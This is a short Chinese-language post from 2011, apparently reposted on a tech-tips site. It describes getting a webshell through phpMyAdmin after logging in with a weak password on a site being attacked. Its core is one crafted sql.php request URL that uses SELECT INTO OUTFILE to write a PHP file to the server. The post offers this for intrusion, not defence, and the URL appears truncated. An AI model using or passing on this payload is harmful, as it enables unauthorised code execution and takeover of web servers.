知识屋:更实用的电脑技术知识网站
所在位置:首页 > 网络安全 > 安全资讯

PHPMYADMIN另类拿shell

发布时间:2011-04-04 11:59:08作者:知识屋

 文章作者:misssky

搞站发现了个PHPMYADMIN 结果弱口令登陆进去 爆出绝对路径 然后执行SQL语句发现到处SHELL的时候却发现缺少了import.php这个文件 结果没办法执行MYSQL语句! 然后本地测试了下 发现另外的方法

现在公布方法

phpMyAdmin/sql.php?db=test&table=a&printview=1&sql_query=select%20cmd%20from+a%20into%20outfile%20'E:test1.php';&di

(免责声明:文章内容如涉及作品内容、版权和其它问题,请及时与我们联系,我们将在第一时间删除内容,文章内容仅供参考)
收藏
  • 人气文章
  • 最新文章
  • 下载排行榜
  • 热门排行榜